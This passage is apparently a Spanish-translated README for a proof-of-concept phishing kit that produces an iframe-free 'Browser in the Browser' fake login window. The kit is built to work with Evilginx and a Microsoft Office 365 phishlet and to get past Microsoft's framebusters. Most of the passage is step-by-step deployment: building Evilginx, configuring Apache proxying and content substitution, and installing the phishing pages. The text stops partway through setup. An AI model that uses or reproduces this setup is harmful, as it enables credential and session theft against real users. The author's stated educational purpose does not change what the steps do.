
Un nuevo enfoque para Browser In The Browser (BITB) sin el uso de iframes, permitiendo evitar los framebusters tradicionales implementados por páginas de inicio de sesión como Microsoft y el uso con Evilginx.
Un nuevo enfoque para el Navegador en el Navegador (BITB) sin el uso de iframes, permitiendo eludir los framebusters tradicionales implementados por páginas de inicio de sesión como Microsoft.
Este código POC está diseñado para usar este nuevo BITB con Evilginx y un phishlet de Microsoft Enterprise.

Antes de profundizar en esto, recomiendo que primero veas mi charla en BSides 2023, donde presenté este concepto junto con detalles importantes sobre cómo crear el ataque de phishing "perfecto". ▶ Ver Vídeo
Esta herramienta es solo para fines educativos y de investigación. Demuestra un método de Navegador en el Navegador (BITB) basado en no-iframe. El autor no es responsable por cualquier uso indebido. Usa esta herramienta solo de manera legal y ética, en entornos controlados para pruebas de defensa de ciberseguridad. Al usar esta herramienta, aceptas hacerlo de manera responsable y bajo tu propio riesgo.
Durante el año pasado, he estado experimentando con diferentes trucos para crear el ataque de phishing "perfecto". Las típicas "banderas rojas" que la gente está entrenada para buscar son cosas como urgencia, amenazas, autoridad, mala gramática, etc. La siguiente mejor cosa que la gente revisa hoy en día es el enlace/URL del sitio web con el que interactúan, y tienden a volverse muy conscientes en el momento en que se les pide ingresar credenciales sensibles como correos electrónicos y contraseñas. Ahí es donde entra en juego el Navegador en el Navegador (BITB). Originalmente introducido por @mrd0x, BITB es un concepto de crear la apariencia de una ventana de navegador creíble dentro de la cual el atacante controla el contenido (sirviendo el sitio web malicioso dentro de un iframe). Sin embargo, la barra de URL falsa de la ventana del navegador falso se establece en el sitio legítimo que el usuario esperaría. Esto combinado con una herramienta como Evilginx se convierte en la receta perfecta para un ataque de phishing creíble. El problema es que en los últimos meses/años, sitios web importantes como Microsoft han implementado varios pequeños trucos llamados "framebusters/framekillers" que principalmente intentan romper los iframes que podrían usarse para servir el sitio web proxyado como en el caso de Evilginx. En resumen, Evilginx + BITB para sitios web como Microsoft ya no funciona. Al menos no con un BITB que dependa de iframes.
¡Un Navegador en el Navegador (BITB) sin ningún iframe! Así de simple.
Lo que significa que ahora podemos usar BITB con Evilginx en sitios web como Microsoft.
Evilginx aquí es solo un ejemplo sólido, pero el mismo concepto se puede usar para otros casos de uso también.
Los framebusters se dirigen específicamente a los iframes, por lo que la idea es crear el efecto BITB sin el uso de iframes y sin alterar la estructura/contenido original de la página proxyada. Esto se puede lograr inyectando scripts y HTML junto al contenido original mediante búsqueda y reemplazo (también conocido como sustituciones), y luego confiando completamente en trucos de HTML/CSS/JS para lograr el efecto visual. También usamos un truco adicional llamado "Shadow DOM" en HTML para colocar el contenido de la página de aterrizaje (fondo) de tal manera que no interfiera con el contenido proxyado, permitiéndonos usar de manera flexible cualquier página de aterrizaje con scripts JS adicionales menores.
Crea una VM Linux local. (Yo personalmente uso Ubuntu 22 en VMWare Player o Parallels Desktop)
Actualiza y mejora los paquetes del sistema:
sudo apt update && sudo apt upgrade -y
Crea un nuevo usuario evilginx y agrega al usuario al grupo sudo:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Prueba que el usuario evilginx esté en el grupo sudo:
su - evilginx
sudo ls -la /root
Navega al directorio home del usuario:
cd /home/evilginx
(Puedes hacer todo como usuario sudo también ya que estamos ejecutando todo localmente)
Descarga y compila Evilginx: Documentación Oficial
Copia los archivos de Evilginx a /home/evilginx
Instala Go: Documentación Oficial
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
AÑADE: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Verifica:
go version
Instala make:
sudo apt install make
Compila Evilginx:
cd /home/evilginx/evilginx2
make
Crea un nuevo directorio para nuestra compilación de evilginx junto con phishlets y redirectors:
mkdir /home/evilginx/evilginx
Copia la compilación, phishlets y redirectors:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Solución rápida para el firewall de Ubuntu (gracias a @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
En Ubuntu, si obtienes el error Failed to start nameserver on: :53, intenta modificar este archivo
sudo nano /etc/systemd/resolved.conf
edita/añade el DNSStubListener a no > DNSStubListener=no
luego
sudo systemctl restart systemd-resolved
Dado que usaremos Apache2 delante de Evilginx, necesitamos hacer que Evilginx escuche en un puerto diferente al 443.
nano ~/.evilginx/config.json
CAMBIA https_port de 443 a 8443
Instalar Apache2:
sudo apt install apache2 -y
Habilitar los módulos de Apache2 que se usarán: (También estamos deshabilitando el módulo access_compat ya que a veces causa problemas)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Iniciar y habilitar Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
Prueba si Apache y la red de la VM funcionan visitando la IP de la VM desde un navegador en la máquina host.
Instalar git si aún no está disponible:
sudo apt -y install git
Clonar este repositorio:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Crea directorios para las páginas que serviremos:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Copia los directorios para cada página:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Opcional: Elimina la página predeterminada de Apache (no se usa):
sudo rm -r /var/www/html/
Copia el phishlet O365 al directorio de phishlets: